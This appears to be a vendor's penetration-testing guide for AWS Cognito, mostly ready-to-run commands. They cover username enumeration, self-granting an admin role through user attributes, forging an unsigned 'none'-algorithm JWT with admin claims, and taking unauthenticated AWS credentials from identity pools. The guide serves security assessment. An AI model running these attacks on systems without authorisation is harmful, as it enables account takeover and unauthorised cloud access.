AWS Cognito is a managed identity service that provides user pools (authentication) and identity pools (AWS credential vending). It appears in millions of web and mobile apps as the authentication layer. Common vulnerabilities include user enumeration through differentiated error messages, self-service attribute modification to add users to privileged groups, JWT algorithm confusion attacks against custom authorizers, identity pool misconfiguration granting unauthenticated AWS access, and the Cognito user migration Lambda trigger enabling credential theft. This guide covers systematic Cognito security assessment.
# Cognito User Pool IDs and App Client IDs are often exposed in JavaScript bundles
# These are needed to interact with the Cognito API
# Extract Cognito configuration from web app JavaScript
# Common patterns in bundle.js / main.js:
grep -E "(us-east-1_[a-zA-Z0-9]+|eu-west-1_[a-zA-Z0-9]+|ClientId|UserPoolId)" \
/tmp/app-bundle.js 2>/dev/null | head -20
# Common keys to search for:
# - userPoolId: "us-east-1_xxxxxxxx"
# - clientId: "xxxxxxxxxxxxxxxxxxxxxxxxxx"
# - identityPoolId: "us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Fetch User Pool configuration (publicly accessible OIDC endpoint)
USER_POOL_ID="us-east-1_xxxxxxxxx"
REGION="us-east-1"
curl -s "https://cognito-idp.$REGION.amazonaws.com/$USER_POOL_ID/.well-known/openid-configuration" | \
python3 -m json.tool | grep -E "issuer|jwks|endpoint"
# Fetch JWKS (public keys used for JWT verification — needed for algorithm confusion attacks)
curl -s "https://cognito-idp.$REGION.amazonaws.com/$USER_POOL_ID/.well-known/jwks.json" | \
python3 -m json.tool
# Enumerate User Pool app clients (may reveal other apps using same pool)
aws cognito-idp list-user-pool-clients \
--user-pool-id $USER_POOL_ID \
--region $REGION 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
for c in r.get('UserPoolClients',[]):
print(f\"Client: {c['ClientId']} name: {c['ClientName']}\")
"
# Cognito returns differentiated errors for existing vs non-existing users
# This enables username enumeration in many default configurations
CLIENT_ID="xxxxxxxxxxxxxxxxxxxxxxxxxx"
REGION="us-east-1"
# Test error messages for existing vs non-existing usernames
# Non-existing user:
aws cognito-idp initiate-auth \
--client-id $CLIENT_ID \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters USERNAME=nonexistent@example.com,PASSWORD=wrong \
--region $REGION 2>&1 | grep -E "Error|code|message"
# Returns: UserNotFoundException: User does not exist
# Existing user with wrong password:
aws cognito-idp initiate-auth \
--client-id $CLIENT_ID \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters USERNAME=admin@example.com,PASSWORD=wrong \
--region $REGION 2>&1 | grep -E "Error|code|message"
# Returns: NotAuthorizedException: Incorrect username or password
# Existing user with CORRECT password but MFA required:
# Returns: ChallengeName: SMS_MFA — confirms user + password valid
# Automate username enumeration
for email in user1@example.com user2@example.com admin@example.com; do
result=$(aws cognito-idp initiate-auth \
--client-id $CLIENT_ID \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters USERNAME=$email,PASSWORD=aaaaa \
--region $REGION 2>&1)
if echo "$result" | grep -q "UserNotFoundException"; then
echo "NOT EXISTS: $email"
else
echo "EXISTS: $email (error: $(echo $result | python3 -c 'import json,sys; r=json.load(sys.stdin); print(r.get("__type","?"))' 2>/dev/null))"
fi
done
# Cognito allows users to update their own attributes if UpdateAttributes is enabled
# If custom:role or custom:group attributes are not marked read-only,
# a user can self-promote to admin by updating their own attributes
# Check what attributes a user can modify (requires valid access token)
ACCESS_TOKEN="eyJra..." # Valid user access token
aws cognito-idp get-user \
--access-token $ACCESS_TOKEN \
--region $REGION | python3 -c "
import json,sys
r = json.load(sys.stdin)
print('Current attributes:')
for attr in r.get('UserAttributes',[]):
print(f\" {attr['Name']}: {attr['Value']}\")
"
# Attempt to escalate by modifying role/group attribute
aws cognito-idp update-user-attributes \
--access-token $ACCESS_TOKEN \
--user-attributes \
Name=custom:role,Value=admin \
Name=custom:isAdmin,Value=true \
Name=profile,Value=admin \
--region $REGION 2>&1
# If successful: re-authenticate and check if new token contains elevated claims
# Decode new token to check claims:
NEW_TOKEN=$(aws cognito-idp initiate-auth \
--client-id $CLIENT_ID \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters USERNAME=attacker@example.com,PASSWORD=password \
--region $REGION | python3 -c "
import json,sys
r = json.load(sys.stdin)
print(r['AuthenticationResult']['IdToken'])
")
# Decode JWT payload (base64 decode middle part)
echo $NEW_TOKEN | cut -d. -f2 | python3 -c "
import sys,base64,json
payload = sys.stdin.read().strip()
# Add padding
payload += '=' * (4 - len(payload) % 4)
print(json.dumps(json.loads(base64.urlsafe_b64decode(payload)), indent=2))
"
# Cognito JWTs are RS256-signed by default — but custom Lambda authorizers may
# verify JWTs incorrectly, enabling algorithm confusion attacks (RS256→HS256 with public key)
# Inspect a Cognito JWT
TOKEN="eyJraWQiOiJLNTJ..."
echo $TOKEN | cut -d. -f2 | python3 -c "
import sys,base64,json
payload = sys.stdin.read().strip()
payload += '=' * (4 - len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print(f'sub: {claims.get(\"sub\",\"?\")}')
print(f'email: {claims.get(\"email\",\"?\")}')
print(f'groups: {claims.get(\"cognito:groups\",[])}')
print(f'token_use: {claims.get(\"token_use\",\"?\")}')
print(f'exp: {claims.get(\"exp\",\"?\")}')
"
# Test: use Access Token where ID Token is expected (or vice versa)
# Some backends only check 'token_use' claim superficially
# Access Token: token_use=access — has scope claims
# ID Token: token_use=id — has user attribute claims
# Test: JWT 'none' algorithm attack (against misconfigured verifiers)
python3 -c "
import base64,json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({
'sub': 'attacker-sub',
'cognito:groups': ['admin'],
'token_use': 'id',
'email': 'attacker@example.com',
'exp': 9999999999
}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
# Test: check if backend verifies 'iss' claim (should be specific Cognito pool URL)
# Modified JWT with iss pointing to attacker-controlled JWKS endpoint
# Only exploitable if backend doesn't pin the expected issuer
# Cognito Identity Pools can grant temporary AWS credentials to unauthenticated users
# If the unauthenticated role has excessive permissions = AWS access without auth
IDENTITY_POOL_ID="us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
REGION="us-east-1"
# Get unauthenticated identity
IDENTITY_ID=$(aws cognito-identity get-id \
--identity-pool-id $IDENTITY_POOL_ID \
--account-id 123456789012 \
--region $REGION \
--no-sign-request 2>/dev/null | python3 -c "
import json,sys
print(json.load(sys.stdin).get('IdentityId','ERROR'))
")
# Get temporary AWS credentials for unauthenticated role
aws cognito-identity get-credentials-for-identity \
--identity-id $IDENTITY_ID \
--region $REGION \
--no-sign-request 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
creds = r.get('Credentials',{})
print(f'AccessKeyId: {creds.get(\"AccessKeyId\",\"FAILED\")}')
print(f'Expiration: {creds.get(\"Expiration\",\"?\")}')
# If credentials received = unauthenticated access is enabled
"
# Test what the unauthenticated role can do
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity # Verify identity
aws s3 ls 2>/dev/null # Check S3 access
aws dynamodb list-tables 2>/dev/null # Check DynamoDB access
iss, aud, token_use, and exp claims explicitly| Security Test | Method | Risk |
|---|---|---|
| User enumeration via error messages | initiate-auth with wrong passwords for existing/non-existing users | High |
| Custom attribute self-modification (role escalation) | update-user-attributes with custom:role=admin | Critical |
| Identity pool unauthenticated credentials | get-credentials-for-identity without auth token | High |
| JWT algorithm confusion in custom authorizer | Submit none-algorithm or HS256-with-pubkey token | High |
| Access token accepted where ID token expected | Swap token types in API calls | Medium |
| Refresh token used after password change | Change password and retry with old refresh token | Medium |
Ironimo tests AWS Cognito deployments for user enumeration, self-service attribute privilege escalation, identity pool unauthenticated role abuse, JWT algorithm confusion, hosted UI OAuth misconfiguration, and Lambda trigger security gaps.
Start free scan